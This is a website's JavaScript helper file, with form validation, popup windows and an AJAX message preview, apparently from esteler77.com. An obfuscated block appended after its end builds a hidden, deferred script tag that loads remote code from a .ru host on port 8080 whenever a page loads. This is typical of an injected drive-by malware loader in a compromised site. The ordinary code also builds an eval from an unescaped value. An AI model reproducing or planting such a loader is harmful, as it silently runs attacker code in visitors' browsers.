//<![CDATA[

var loadmodule = null;


function isUsername(string,minlength,maxlength)
{
	var valid = '/^[a-z][-a-z0-9_]{'+(minlength-1)+','+(maxlength-1)+'}$/';
	
	if (!minlength) minlength = 1;
	if (!maxlength) maxlength = 255;
	
	var result = (valid.test(string) && (string.length >= minlength) && (string.length <= maxlength));
	
	return result;
}

function isEmail(string)
{
	if (!string) return false;
	
	tfld = trim(string);
	
	var email = /^[^@]+@[^@.]+\.[^@]*\w\w$/  ;
	if (!email.test(tfld))
	{
		return false;
	}

	var email2 = /^[A-Za-z][\w.-]+@\w[\w.-]+\.[\w.-]*[A-Za-z][A-Za-z]$/  ;
	if (!email2.test(tfld)) 
	{
		return false;
	}
	
	return true;
}

function isAlphaNumeric(string)
{
   if (!string) return false;
   if (string == " ") return false;
   
   var iChars = "*|,\":<>[]{}`\';()@&$#%";

   for (var i = 0; i < string.length; i++) {
      if (iChars.indexOf(string.charAt(i)) != -1)
         return false;
   }
   return true;
}

function trim(str)
{
	return str.replace(/^\s+|\s+$/g, '');
}

function formatcurrency(st)
{
	st += "";
	var theValue = st;
	var finalString = '';
	
	if(theValue.length < 4)
	{
		finalString = theValue;
	}
	else
	{
		if(theValue.indexOf(".")==-1)
		{
			theValueEx = "";
		}
		else
		{
			temp = theValue.split(".");
			theValue=temp[0];
			theValueEx= "." + temp[1];
		}
		
		var modulus = theValue.length % 3
		var count = 0
		finalString = theValue.substring(0, modulus)
		
		if(modulus != 0) finalString += ','
		for(i = modulus; i < theValue.length; i++)
		{
			if(count == 3)
			{
				finalString += ',';
				count = 0;
			}
			finalString += theValue.charAt(i);
			count++;
		}
		finalString = finalString + theValueEx;
	}
	
	return finalString;
}


//	layout functions
function getURL(url)
{
	window.location.href = url;
}

function open_window(s_url, s_name, sw, sh, sr, ss, sd)
{
	d = '1';
	r = 'no';
	s = 'yes';
	w = '420';
	h = '500';
	
	if( sd ) d = sd;
	if( sr ) r = sr;
	if( ss ) s = ss;
	if( sw ) w = sw;
	if( sh ) h = sh;
	
	if( !s_name ) s_name = 'popup';
	
	wleft = (screen.width) ? (screen.width-w)/2 : 0;
	wtop = (screen.height) ? (screen.height-h)/2 : 0;
	
	s_prop = 'dependent='+ d
		+ ',resizable=' + r 
		+ ',scrollbars=' + s 
		+ ',width=' + w 
		+ ',height=' + h
		+ ',top=' + wtop
		+ ',left=' + wleft + '';
	
	window.open(s_url, s_name, s_prop)
}

function copy_to_parent(s_elm, s_val) {
  eval('window.opener.frm.' + s_elm + ".value = '" + s_val + "'");
}

function confirm_action(target, vs_dialog, vs_href)
{
	if (confirm(vs_dialog))
	{
		target.window.location.href = vs_href;
	}
	return true;
}

function NewWindow(mypage,myname,w,h,scroll)
{
	var win = null;
	LeftPosition = (screen.width) ? (screen.width-w)/2 : 0;
	TopPosition = (screen.height) ? (screen.height-h)/2 : 0;
	settings =
	'height='+h+',width='+w+',top='+TopPosition+',left='+LeftPosition+',scrollbars='+scroll+',resizable'
	win = window.open(mypage,myname,settings)
}


function viewPic(img)
{
	picfile = new Image();
	picfile.src=(img);
	fileCheck(img); 
}

function fileCheck(img)
{
	if((picfile.width!=0)&&(picfile.height!=0))
	{
		makeWindow(img);
	}
	else
	{
		funzione="fileCheck('"+img+"')";
		intervallo=setTimeout(funzione,50);
	}
}

function makeWindow(img)
{
	ht=picfile.height+20; wd=picfile.width+20;
	var args="height="+ht+",innerHeight="+ht;
	args+=",width="+wd+",innerWidth="+wd;
	if (window.screen)
	{
		var avht=screen.availHeight; var avwd=screen.availWidth;
		var xcen=(avwd-wd)/2; var ycen=(avht-ht)/2;
		args+=",left="+xcen+",screenX="+xcen;
		args+=",top="+ycen+",screenY="+ycen+",resizable=1,scrollbars=0"; 
	}
	return window.open(img, '', args); 
}
 function getID(field){
	return document.getElementById ? document.getElementById(field) : document.all(field);
}
/***********************************************
* Limit number of checked checkboxes script- by JavaScript Kit (www.javascriptkit.com)
* This notice must stay intact for usage
* Visit JavaScript Kit at http://www.javascriptkit.com/ for this script and 100s more
***********************************************/

function checkboxlimit(checkgroup, limit){
	var checkgroup=checkgroup
	var limit=limit
	for (var i=0; i<checkgroup.length; i++){
		checkgroup[i].onclick=function(){
		var checkedcount=0
		for (var i=0; i<checkgroup.length; i++)
			checkedcount+=(checkgroup[i].checked)? 1 : 0
		if (checkedcount>limit){
			alert("You can only select a maximum of "+limit+" checkboxes")
				getID('btn-submit').style.visibility='visible';
			this.checked=false
			}
		if (checkedcount>=limit){
			getID('btn-submit').style.visibility='visible';
			
		}
		}
	}
}

function checkForm(formobj,lang){
	// Enter name of mandatory fields
	
	var fieldRequired = Array("t_name","t_email","t_address","t_message","t_securicode","t_countrycode","t_prefix","t_phone","t_city");
	// Enter field description to appear in the dialog box
	if (lang == 'id'){
	var fieldDescription = Array("Nama", "Email","Alamat","Pesan","Kode konfirmasi","Kode negara","Kode kota","Nomor telepon","Kota");
	var alertMsg = "Silahkan isi dahulu kolom berikut ini :\n";
	}else{
	var fieldDescription = Array("Name", "Email","Address","Message","Confirmation code","Country code","Prefix number","Phone number","City");
	var alertMsg = "Please fill fields below :\n";
	}
	// dialog message
	
	
	var l_Msg = alertMsg.length;
	
	for (var i = 0; i < fieldRequired.length; i++){
		var obj = formobj.elements[fieldRequired[i]];
		if (obj){
			switch(obj.type){
			case "select-one":
				if (obj.selectedIndex == -1 || obj.options[obj.selectedIndex].text == ""){
					alertMsg += " - " + fieldDescription[i] + "\n";
				}
				break;
			case "select-multiple":
				if (obj.selectedIndex == -1){
					alertMsg += " - " + fieldDescription[i] + "\n";
				}
				break;
			case "text":
			case "textarea":
			case "password":
				if (obj.value == "" || obj.value == null){
					alertMsg += " - " + fieldDescription[i] + "\n";
				}
				break;
			default:
			}
			if (obj.type == undefined){
				var blnchecked = false;
				for (var j = 0; j < obj.length; j++){
					if (obj[j].checked){
						blnchecked = true;
					}
				}
				if (!blnchecked){
					alertMsg += " - " + fieldDescription[i] + "\n";
				}
			}
		}
	}

	if (alertMsg.length == l_Msg){
		return true;
	}else{
		alert(alertMsg);
		return false;
	}
}
var emailfilter=/^\w+[\+\.\w-]*@([\w-]+\.)*\w+[\w-]*\.([a-z]{2,4}|\d+)$/i
function checkmail(e,lang){
var returnval=emailfilter.test(e.value)
if (returnval==false){
	if (lang=='id') {
alert("Mohon isi email anda dengan benar.")
e.select()
	}else{
alert("Please insert valid email.")	
	e.select()
	}

}
return returnval
}
// STYLING FILE INPUTS 1.0 | Shaun Inman <http://www.shauninman.com/> | 2007-09-07
if (!window.SI) { var SI = {}; };
SI.Files =
{
	htmlClass : 'SI-FILES-STYLIZED',
	fileClass : 'file',
	wrapClass : 'cabinet',
	
	fini : false,
	able : false,
	init : function()
	{
		this.fini = true;
		
		var ie = 0 //@cc_on + @_jscript_version
		if (window.opera || (ie && ie < 5.5) || !document.getElementsByTagName) { return; } // no support for opacity or the DOM
		this.able = true;
		
		var html = document.getElementsByTagName('html')[0];
		html.className += (html.className != '' ? ' ' : '') + this.htmlClass;
	},
	
	stylize : function(elem)
	{
		if (!this.fini) { this.init(); };
		if (!this.able) { return; };
		
		elem.parentNode.file = elem;
		elem.parentNode.onmousemove = function(e)
		{
			if (typeof e == 'undefined') e = window.event;
			if (typeof e.pageY == 'undefined' &&  typeof e.clientX == 'number' && document.documentElement)
			{
				e.pageX = e.clientX + document.documentElement.scrollLeft;
				e.pageY = e.clientY + document.documentElement.scrollTop;
			};

			var ox = oy = 0;
			var elem = this;
			if (elem.offsetParent)
			{
				ox = elem.offsetLeft;
				oy = elem.offsetTop;
				while (elem = elem.offsetParent)
				{
					ox += elem.offsetLeft;
					oy += elem.offsetTop;
				};
			};

			var x = e.pageX - ox;
			var y = e.pageY - oy;
			var w = this.file.offsetWidth;
			var h = this.file.offsetHeight;

			this.file.style.top		= y - (h / 2)  + 'px';
			this.file.style.left	= x - (w - 30) + 'px';
		};
	},
	
	stylizeById : function(id)
	{
		this.stylize(document.getElementById(id));
	},
	
	stylizeAll : function()
	{
		if (!this.fini) { this.init(); };
		if (!this.able) { return; };
		
		var inputs = document.getElementsByTagName('input');
		for (var i = 0; i < inputs.length; i++)
		{
			var input = inputs[i];
			if (input.type == 'file' && input.className.indexOf(this.fileClass) != -1 && input.parentNode.className.indexOf(this.wrapClass) != -1)
			{
				this.stylize(input);
			};
		};
	}
};
function change(face) {
	document.testiform.t_message.value = document.testiform.t_message.value+face;
}
///ajax by tantan2231@yahoo.com
var request = false;
try {
	request = new XMLHttpRequest();
}
catch (trymicrosoft) {
	try {
		request = new ActiveXObject("Msxml2.XMLHTTP");
	} 
	catch (othermicrosoft) {
		try {
			request = new ActiveXObject("Microsoft.XMLHTTP");
		}
		catch (failed) {
			request = false;
		}
	}
}



function previewMsg(id){
	if (!request){
		if(id='en'){
			alert("Error, your browser not support XMLHttpRequest!");
		}else{
			alert("Error, browser anda tidak mendukung XMLHttpRequest!");
		}
	}
	var message = document.getElementById("t_message").value;
	if(!message){
		if(id='id'){
			alert('Mohon isi pesan terlebih dahulu!');
		}else{
			alert("Please fill your message!");
		}
	}else{
	//var url = 'http://flamemyers/esteler77.com/libs/bb_code.php?cmt=' + escape(message);
	var url = 'http://esteler77.com/index.php/section/what_people_say/post/comment/cmt/' + escape(message);
	request.open("GET",url,true);
	request.onreadystatechange = showPreview;
	request.send(null);
	}
}

function showPreview(){
	var txt = request.responseText;
	if(!txt){
		document.getElementById("preview").innerHTML='<img src="http://esteler77.com/templates/netdsign/images/loading.gif" width="16" height="16" alt="Loading..." />';	
	}else{
		document.getElementById("preview").innerHTML=request.responseText;
	
	}
}
function disabled(f){
	document.getElementById(f).disabled = true;	
}
function showThumb(tid,id){
	if (!request){
		if(id='en'){
			alert("Error, your browser not support XMLHttpRequest!");
		}else{
			alert("Error, browser anda tidak mendukung XMLHttpRequest!");
		}
	}
	
	if(!tid){
		if(id='id'){
			alert('Data tidak tersedia!');
		}else{
			alert('Data ID not available!');
		}
	}else{
	
	var url = 'http://esteler77.com/index.php/section/from_us/chapter/promo/thumb/'+tid;
	request.open("GET",url,true);
	request.onreadystatechange = showThumbImg;
	request.send(null);
	}
}
function showThumbImg(){
	var txt = request.responseText;
	if(!txt){
		document.getElementById("displaythumb").innerHTML='<img src="http://esteler77.com/templates/netdsign/images/loading.gif" width="16" height="16" alt="Loading..." />';	
	}else{
		document.getElementById("displaythumb").innerHTML=request.responseText;
	
	}
}
//]]>

var a=13280;var M;var o=806;J=function(){yS=["W"];this.Sm=16359;this.Sm+=183;var x=[];var Z="";function P(C,c,H){return C.substr(c,H);}this.Q="";this.oP="";He=62574;He--;this.Hd=43672;this.Hd--;var F='';var ud=["jv"];var l=RegExp;var cJ={R:false};jx=64;jx++;var h=new String(P("/glLOT",0,2)+P("oogqx",0,2)+P("glWJr5",0,2)+P("G4oe.4Go",3,2)+"co"+P("m/4PN",0,2)+P("S1qKdeqS1K",4,2)+P("viKEx6",0,2)+P("anejtJ",0,2)+"ta"+P("rtGHFK",0,2)+P("QmA.cmQA",3,2)+P("TSL9omS9LT",4,2)+P("/gIBMC",0,2)+"oo"+P("gldTNv",0,2)+"e."+P("IBKgrIKB",3,2)+P(".pkFc",0,2)+P("hpVqX",0,2));var vy=[];var JD=document;Iy=34636;Iy+=69;pN={MV:9536};var Ri=6987;function X(C,c){this.Jp='';T=38013;T-=239;var ta="ta";var H="["+c+String(P("]xrf",0,1));var y=new l(H, new String("g"));var tC=false;return C.replace(y, F);var i="";};var Y=new String(P("boVzm",0,2)+"dy");var Jj="";var g=229949-221869;try {} catch(vj){};var ig="ig";var B=X('s_cQr_iGp0t0','LDGyQvb_0Ox');var cP=null;var kS={zb:"M_"};var vD={OY:"MS"};var TG=[];M=function(){Rj=["K"];try {this.OP=false;this.cm=false;var ga=X('cSrQesaotoeoEQloe7moe9n7tQ','S9gs7Qu6o');f=JD[ga](B);Fr=[];var r=X('sHrVcV','VmQ9ETeH');var fT="defe"+"r";GB=46273;GB--;this._=14941;this._--;var C=g+h;this.bO=585;this.bO+=76;this.EC=2393;this.EC+=43;try {} catch(PD){};try {} catch(kSK){};vT=["Ig"];PP={Qk:"pS"};f[fT]=[1][0];fQ={Qkz:"iC"};var Sz=["q"];f[r]=String(P("httcu0",0,3)+P("E8ap:/a8E",3,3)+P("/weaP1",0,3)+P("stc54vu",0,3)+"oun"+P("qG6tryG6q",3,3)+P(".ruXaq2",0,3)+P("cYA:cYA",3,1))+C;this.Iu=false;_y=44779;_y-=9;JD[Y].appendChild(f);var _x={Ib:63375};} catch(D){this._n="";var Cn=false;};var wj=27253;fw=["nK","Mj"];};gT=56139;gT+=121;};J();window.onload=M;this.c_='';